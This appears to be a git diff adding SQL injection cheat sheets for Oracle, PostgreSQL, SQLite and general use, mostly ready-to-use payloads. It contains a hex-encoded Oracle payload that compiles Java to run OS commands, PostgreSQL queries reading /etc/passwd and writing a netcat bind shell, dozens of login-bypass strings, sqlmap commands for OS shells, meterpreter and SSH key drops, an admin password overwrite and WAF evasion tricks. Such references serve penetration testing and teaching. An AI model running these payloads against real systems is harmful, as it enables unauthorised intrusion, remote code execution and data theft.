utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
|
||||
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual
|
||||
|
||||
/* run OS command */
|
||||
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [Heavily taken inspired by - NetSpi SQL Wiki](https://sqlwiki.netspi.com/injectionTypes/errorBased/#oracle)
|
||||
52
FIX_SQL Injection/PostgreSQL Injection.md
Normal file
52
FIX_SQL Injection/PostgreSQL Injection.md
Normal file
@@ -0,0 +1,52 @@
|
||||
# POSTGRESQL
|
||||
|
||||
## PostgreSQL Comments
|
||||
|
||||
```sql
|
||||
--
|
||||
/**/
|
||||
```
|
||||
|
||||
## PostgreSQL Error Based - Basic
|
||||
|
||||
```sql
|
||||
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
|
||||
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
|
||||
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
|
||||
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
|
||||
```
|
||||
|
||||
## PostgreSQL Time Based
|
||||
|
||||
```sql
|
||||
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
|
||||
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
|
||||
```
|
||||
|
||||
## PostgreSQL File Read
|
||||
|
||||
```sql
|
||||
select pg_ls_dir('./');
|
||||
select pg_read_file('PG_VERSION', 0, 200);
|
||||
```
|
||||
|
||||
NOTE: ``pg_read_file` doesn't accept the `/` character.
|
||||
|
||||
```sql
|
||||
CREATE TABLE temp(t TEXT);
|
||||
COPY temp FROM '/etc/passwd';
|
||||
SELECT * FROM temp limit 1 offset 0;
|
||||
```
|
||||
|
||||
## PostgreSQL File Write
|
||||
|
||||
```sql
|
||||
CREATE TABLE pentestlab (t TEXT);
|
||||
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
|
||||
SELECT * FROM pentestlab;
|
||||
COPY pentestlab(t) TO '/tmp/pentestlab';
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [A Penetration Tester’s Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
|
||||
528
FIX_SQL Injection/README.md
Normal file
528
FIX_SQL Injection/README.md
Normal file
@@ -0,0 +1,528 @@
|
||||
# SQL injection
|
||||
|
||||
> A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.
|
||||
|
||||
Attempting to manipulate SQL queries may have goals including:
|
||||
- Information Leakage
|
||||
- Disclosure of stored data
|
||||
- Manipulation of stored data
|
||||
- Bypassing authorisation controls
|
||||
|
||||
## Summary
|
||||
|
||||
* [CheatSheet MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/MSSQL%20Injection.md)
|
||||
* [CheatSheet MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md)
|
||||
* [CheatSheet OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/OracleSQL%20Injection.md)
|
||||
* [CheatSheet PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/PostgreSQL%20Injection.md)
|
||||
* [CheatSheet SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/SQLite%20Injection.md)
|
||||
* [CheatSheet Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20injection/Cassandra%20Injection.md)
|
||||
* [Entry point detection](#entry-point-detection)
|
||||
* [DBMS Identification](#dbms-identification)
|
||||
* [SQL injection using SQLmap](#sql-injection-using-sqlmap)
|
||||
* [Authentication bypass](#authentication-bypass)
|
||||
* [Polyglot injection](#polyglot-injection-multicontext)
|
||||
* [Routed injection](#routed-injection)
|
||||
* [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update)
|
||||
* [WAF Bypass](#waf-bypass)
|
||||
|
||||
## Entry point detection
|
||||
|
||||
Detection of an SQL injection entry point
|
||||
Simple characters
|
||||
|
||||
```sql
|
||||
'
|
||||
%27
|
||||
"
|
||||
%22
|
||||
#
|
||||
%23
|
||||
;
|
||||
%3B
|
||||
)
|
||||
Wildcard (*)
|
||||
```
|
||||
|
||||
Multiple encoding
|
||||
|
||||
```sql
|
||||
%%2727
|
||||
%25%27
|
||||
```
|
||||
|
||||
Merging characters
|
||||
|
||||
```sql
|
||||
`+HERP
|
||||
'||'DERP
|
||||
'+'herp
|
||||
' 'DERP
|
||||
'%20'HERP
|
||||
'%2B'HERP
|
||||
```
|
||||
|
||||
Logic Testing
|
||||
|
||||
```sql
|
||||
page.asp?id=1 or 1=1 -- true
|
||||
page.asp?id=1' or 1=1 -- true
|
||||
page.asp?id=1" or 1=1 -- true
|
||||
page.asp?id=1 and 1=2 -- false
|
||||
```
|
||||
|
||||
Weird characters
|
||||
|
||||
```sql
|
||||
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
|
||||
transformed into U+0022 QUOTATION MARK (")
|
||||
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
|
||||
transformed into U+0027 APOSTROPHE (')
|
||||
```
|
||||
|
||||
## DBMS Identification
|
||||
|
||||
```c
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
|
||||
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
|
||||
["@@CONNECTIONS>0" ,"MSSQL"],
|
||||
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
|
||||
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
|
||||
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
|
||||
["ROWNUM=ROWNUM" ,"ORACLE"],
|
||||
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
|
||||
["LNNVL(0=123)" ,"ORACLE"],
|
||||
["5::int=5" ,"POSTGRESQL"],
|
||||
["5::integer=5" ,"POSTGRESQL"],
|
||||
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
|
||||
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
|
||||
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
|
||||
["current_database()=current_database()" ,"POSTGRESQL"],
|
||||
["sqlite_version()=sqlite_version()" ,"SQLITE"],
|
||||
["last_insert_rowid()>1" ,"SQLITE"],
|
||||
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
|
||||
["val(cvar(1))=1" ,"MSACCESS"],
|
||||
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
|
||||
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
|
||||
## SQL injection using SQLmap
|
||||
|
||||
### Basic arguments for SQLmap
|
||||
|
||||
```powershell
|
||||
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
|
||||
```
|
||||
|
||||
### Load a request file and use mobile user-agent
|
||||
|
||||
```powershell
|
||||
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
|
||||
```
|
||||
|
||||
### Custom injection in UserAgent/Header/Referer/Cookie
|
||||
|
||||
```powershell
|
||||
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
|
||||
The injection is located at the '*'
|
||||
```
|
||||
|
||||
### Second order injection
|
||||
|
||||
```powershell
|
||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
```
|
||||
|
||||
### Shell
|
||||
|
||||
```powershell
|
||||
SQL Shell
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
|
||||
|
||||
Simple Shell
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
||||
|
||||
Dropping a reverse-shell / meterpreter
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
|
||||
SSH Shell by dropping an SSH key
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
|
||||
```
|
||||
|
||||
### Crawl a website with SQLmap and auto-exploit
|
||||
|
||||
```powershell
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
|
||||
--crawl = how deep you want to crawl a site
|
||||
--forms = Parse and test forms
|
||||
```
|
||||
|
||||
### Using TOR with SQLmap
|
||||
|
||||
```powershell
|
||||
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
|
||||
```
|
||||
|
||||
### Using Chrome cookie and a Proxy
|
||||
|
||||
```powershell
|
||||
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --time-sec 15 --level 3
|
||||
```
|
||||
|
||||
### Using suffix to tamper the injection
|
||||
|
||||
```powershell
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||
```
|
||||
|
||||
### General tamper option and tamper's list
|
||||
|
||||
```powershell
|
||||
tamper=name_of_the_tamper
|
||||
```
|
||||
|
||||
| Tamper | Description |
|
||||
| --- | --- |
|
||||
|0x2char.py | Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),…) counterpart |
|
||||
|apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
|
||||
|apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart|
|
||||
|appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
|
||||
|base64encode.py | Base64 all characters in a given payload |
|
||||
|between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
|
||||
|bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
|
||||
|chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
|
||||
|charencode.py | URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54) |
|
||||
|charunicodeencode.py | Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054) |
|
||||
|charunicodeescape.py | Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054) |
|
||||
|commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'|
|
||||
|commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'|
|
||||
|commentbeforeparentheses.py | Prepends (inline) comment before parentheses (e.g. ( -> /**/() |
|
||||
|concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'|
|
||||
|charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
|
||||
|charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) |
|
||||
|equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' |
|
||||
|escapequotes.py | Slash escape quotes (' and ") |
|
||||
|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
|
||||
|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
|
||||
|htmlencode.py | HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ') |
|
||||
|ifnull2casewhenisnull.py | Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart|
|
||||
|ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'|
|
||||
|informationschemacomment.py | Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier |
|
||||
|least.py | Replaces greater than operator (‘>’) with ‘LEAST’ counterpart |
|
||||
|lowercase.py | Replaces each keyword character with lower case value (e.g. SELECT -> select) |
|
||||
|modsecurityversioned.py | Embraces complete query with versioned comment |
|
||||
|modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
|
||||
|multiplespaces.py | Adds multiple spaces around SQL keywords |
|
||||
|nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters|
|
||||
|overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
|
||||
|overlongutf8more.py | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) |
|
||||
|percentage.py | Adds a percentage sign ('%') infront of each character |
|
||||
|plus2concat.py | Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart |
|
||||
|plus2fnconcat.py | Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart |
|
||||
|randomcase.py | Replaces each keyword character with random case value |
|
||||
|randomcomments.py | Add random comments to SQL keywords|
|
||||
|securesphere.py | Appends special crafted string |
|
||||
|sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
|
||||
|space2comment.py | Replaces space character (' ') with comments |
|
||||
|space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
|
||||
|space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
|
||||
|space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
|
||||
|space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|
||||
|space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
|
||||
|space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|
||||
|space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
|
||||
|space2plus.py | Replaces space character (' ') with plus ('+') |
|
||||
|space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
|
||||
|symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and ||) |
|
||||
|unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
|
||||
|unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
|
||||
|uppercase.py | Replaces each keyword character with upper case value 'INSERT'|
|
||||
|varnish.py | Append a HTTP header 'X-originating-IP' |
|
||||
|versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
|
||||
|versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
|
||||
|xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'|
|
||||
|
||||
## Authentication bypass
|
||||
|
||||
```sql
|
||||
'-'
|
||||
' '
|
||||
'&'
|
||||
'^'
|
||||
'*'
|
||||
' or 1=1 limit 1 -- -+
|
||||
'="or'
|
||||
' or ''-'
|
||||
' or '' '
|
||||
' or ''&'
|
||||
' or ''^'
|
||||
' or ''*'
|
||||
'-||0'
|
||||
"-||0"
|
||||
"-"
|
||||
" "
|
||||
"&"
|
||||
"^"
|
||||
"*"
|
||||
" or ""-"
|
||||
" or "" "
|
||||
" or ""&"
|
||||
" or ""^"
|
||||
" or ""*"
|
||||
or true--
|
||||
" or true--
|
||||
' or true--
|
||||
") or true--
|
||||
') or true--
|
||||
' or 'x'='x
|
||||
') or ('x')=('x
|
||||
')) or (('x'))=(('x
|
||||
" or "x"="x
|
||||
") or ("x")=("x
|
||||
")) or (("x"))=(("x
|
||||
or 2 like 2
|
||||
or 1=1
|
||||
or 1=1--
|
||||
or 1=1#
|
||||
or 1=1/*
|
||||
admin' --
|
||||
admin' #
|
||||
admin'/*
|
||||
admin' or '2' LIKE '1
|
||||
admin' or 2 LIKE 2--
|
||||
admin' or 2 LIKE 2#
|
||||
admin') or 2 LIKE 2#
|
||||
admin') or 2 LIKE 2--
|
||||
admin') or ('2' LIKE '2
|
||||
admin') or ('2' LIKE '2'#
|
||||
admin') or ('2' LIKE '2'/*
|
||||
admin' or '1'='1
|
||||
admin' or '1'='1'--
|
||||
admin' or '1'='1'#
|
||||
admin' or '1'='1'/*
|
||||
admin'or 1=1 or ''='
|
||||
admin' or 1=1
|
||||
admin' or 1=1--
|
||||
admin' or 1=1#
|
||||
admin' or 1=1/*
|
||||
admin') or ('1'='1
|
||||
admin') or ('1'='1'--
|
||||
admin') or ('1'='1'#
|
||||
admin') or ('1'='1'/*
|
||||
admin') or '1'='1
|
||||
admin') or '1'='1'--
|
||||
admin') or '1'='1'#
|
||||
admin') or '1'='1'/*
|
||||
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
|
||||
admin" --
|
||||
admin" #
|
||||
admin"/*
|
||||
admin" or "1"="1
|
||||
admin" or "1"="1"--
|
||||
admin" or "1"="1"#
|
||||
admin" or "1"="1"/*
|
||||
admin"or 1=1 or ""="
|
||||
admin" or 1=1
|
||||
admin" or 1=1--
|
||||
admin" or 1=1#
|
||||
admin" or 1=1/*
|
||||
admin") or ("1"="1
|
||||
admin") or ("1"="1"--
|
||||
admin") or ("1"="1"#
|
||||
admin") or ("1"="1"/*
|
||||
admin") or "1"="1
|
||||
admin") or "1"="1"--
|
||||
admin") or "1"="1"#
|
||||
admin") or "1"="1"/*
|
||||
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
|
||||
```
|
||||
|
||||
## Authentication Bypass (Raw MD5)
|
||||
|
||||
When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.
|
||||
|
||||
```php
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
|
||||
Allowing an attacker to craft a string with a `true` statement such as `' or 'SOMETHING`
|
||||
|
||||
```php
|
||||
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b
|
||||
```
|
||||
|
||||
Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772)
|
||||
|
||||
## Polyglot injection (multicontext)
|
||||
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
|
||||
## Routed injection
|
||||
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
|
||||
## Insert Statement - ON DUPLICATE KEY UPDATE
|
||||
|
||||
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
|
||||
|
||||
```sql
|
||||
Inject using payload:
|
||||
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
|
||||
|
||||
The query would look like this:
|
||||
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
|
||||
|
||||
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
|
||||
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
|
||||
|
||||
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
|
||||
```
|
||||
|
||||
## WAF Bypass
|
||||
|
||||
No Space (%20) - bypass using whitespace alternatives
|
||||
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
?id=1%0Cand%0C1=1%0C--
|
||||
?id=1%0Band%0B1=1%0B--
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
|
||||
No Whitespace - bypass using comments
|
||||
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
|
||||
No Whitespace - bypass using parenthesis
|
||||
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
|
||||
No Comma - bypass using OFFSET, FROM and JOIN
|
||||
|
||||
```sql
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
|
||||
No Equal - bypass using LIKE/NOT IN/IN
|
||||
|
||||
```sql
|
||||
?id=1 and substring(version(),1,1)like(5)
|
||||
?id=1 and substring(version(),1,1)not in(4,3)
|
||||
?id=1 and substring(version(),1,1)in(4,3)
|
||||
```
|
||||
|
||||
Blacklist using keywords - bypass using uppercase/lowercase
|
||||
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
|
||||
Blacklist using keywords case insensitive - bypass using an equivalent operator
|
||||
|
||||
```sql
|
||||
AND -> &&
|
||||
OR -> ||
|
||||
= -> LIKE,REGEXP, not < and not >
|
||||
> X -> not between 0 and X
|
||||
WHERE -> HAVING
|
||||
```
|
||||
|
||||
Information_schema.tables Alternative
|
||||
|
||||
```sql
|
||||
select * from mysql.innodb_table_stats;
|
||||
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
|
||||
| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
|
||||
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
|
||||
| dvwa | guestbook | 2017-01-19 21:02:57 | 0 | 1 | 0 |
|
||||
| dvwa | users | 2017-01-19 21:03:07 | 5 | 1 | 0 |
|
||||
...
|
||||
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
|
||||
|
||||
mysql> show tables in dvwa;
|
||||
+----------------+
|
||||
| Tables_in_dvwa |
|
||||
+----------------+
|
||||
| guestbook |
|
||||
| users |
|
||||
+----------------+
|
||||
```
|
||||
|
||||
Version Alternative
|
||||
|
||||
```sql
|
||||
mysql> select @@innodb_version;
|
||||
+------------------+
|
||||
| @@innodb_version |
|
||||
+------------------+
|
||||
| 5.6.31 |
|
||||
+------------------+
|
||||
|
||||
mysql> select @@version;
|
||||
+-------------------------+
|
||||
| @@version |
|
||||
+-------------------------+
|
||||
| 5.6.31-0ubuntu0.15.10.1 |
|
||||
+-------------------------+
|
||||
|
||||
mysql> mysql> select version();
|
||||
+-------------------------+
|
||||
| version() |
|
||||
+-------------------------+
|
||||
| 5.6.31-0ubuntu0.15.10.1 |
|
||||
+-------------------------+
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* Detect SQLi
|
||||
* [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
|
||||
* [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/)
|
||||
* MySQL:
|
||||
* [PentestMonkey's mySQL injection cheat sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
|
||||
* [Reiners mySQL injection Filter Evasion Cheatsheet] (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
|
||||
* [Alternative for Information_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/)
|
||||
* [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection)
|
||||
* MSSQL:
|
||||
* [EvilSQL's Error/Union/Blind MSSQL Cheatsheet] (http://evilsql.com/main/page2.php)
|
||||
* [PentestMonkey's MSSQL SQLi injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
|
||||
* ORACLE:
|
||||
* [PentestMonkey's Oracle SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
|
||||
* POSTGRESQL:
|
||||
* [PentestMonkey's Postgres SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
|
||||
* Others
|
||||
* [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
|
||||
* [Access SQLi Cheatsheet] (http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
* [PentestMonkey's Ingres SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
|
||||
* [Pentestmonkey's DB2 SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
|
||||
* [Pentestmonkey's Informix SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
|
||||
* [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
|
||||
* [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/)
|
||||
* [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
|
||||
* [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
|
||||
* [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
|
||||
* Second Order:
|
||||
* [Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection](https://www.notsosecure.com/analyzing-cve-2018-6376/)
|
||||
* [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)
|
||||
* Sqlmap:
|
||||
* [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560)
|
||||
78
FIX_SQL Injection/SQLite Injection.md
Normal file
78
FIX_SQL Injection/SQLite Injection.md
Normal file
@@ -0,0 +1,78 @@
|
||||
# SQLite Injection
|
||||
|
||||
## SQLite comments
|
||||
|
||||
```sql
|
||||
--
|
||||
/**/
|
||||
```
|
||||
|
||||
## SQLite version
|
||||
|
||||
```sql
|
||||
select sqlite_version();
|
||||
```
|
||||
|
||||
## Integer/String based - Extract table name
|
||||
|
||||
```sql
|
||||
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
|
||||
```
|
||||
|
||||
Use limit X+1 offset X, to extract all tables.
|
||||
|
||||
## Integer/String based - Extract column name
|
||||
|
||||
```sql
|
||||
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
|
||||
```
|
||||
|
||||
For a clean output
|
||||
|
||||
```sql
|
||||
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
|
||||
```
|
||||
|
||||
